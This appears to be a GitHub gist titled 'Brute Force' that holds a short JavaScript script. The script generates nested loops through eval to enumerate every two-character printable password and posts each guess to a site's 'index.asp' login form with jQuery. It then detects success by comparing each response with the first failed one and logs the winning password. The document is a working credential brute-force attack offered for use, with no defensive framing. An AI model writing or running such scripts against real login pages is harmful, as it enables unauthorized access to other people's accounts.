Skip to content

Instantly share code, notes, and snippets.

@kopiro
Created December 2, 2011 23:29
Show Gist options
  • Save kopiro/1425330 to your computer and use it in GitHub Desktop.
Save kopiro/1425330 to your computer and use it in GitHub Desktop.
Brute Force
function genfors(n)
{
var r = "";
for (var i=97; i<97+n; i++)
{
var x = String.fromCharCode(i);
r += "for(var "+x+"=32;"+x+"<127;"+x+"++)\n";
}
r += "foo(";
for (var i=97; i<97+n; i++)
{
var x = String.fromCharCode(i);
r += "String.fromCharCode("+x+")";
if (i<97+n-1) r += "+";
}
r += ");"
return r;
}
var fail_response;
var win_response;
function foo(pwd)
{
setTimeout(function(){
$.post("index.asp", { enter : pwd, submitted : "SUBMITTED" }, function (response)
{
if (!fail_response)
{
fail_response = response;
return;
}
if (fail_response == response)
{
console.log(pwd);
}
else
{
console.log("FOUND: "+pwd);
win_response = response;
console.log(win_response);
stop();
return;
}
});
}, 1);
}
var script = genfors(2);
eval(script);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment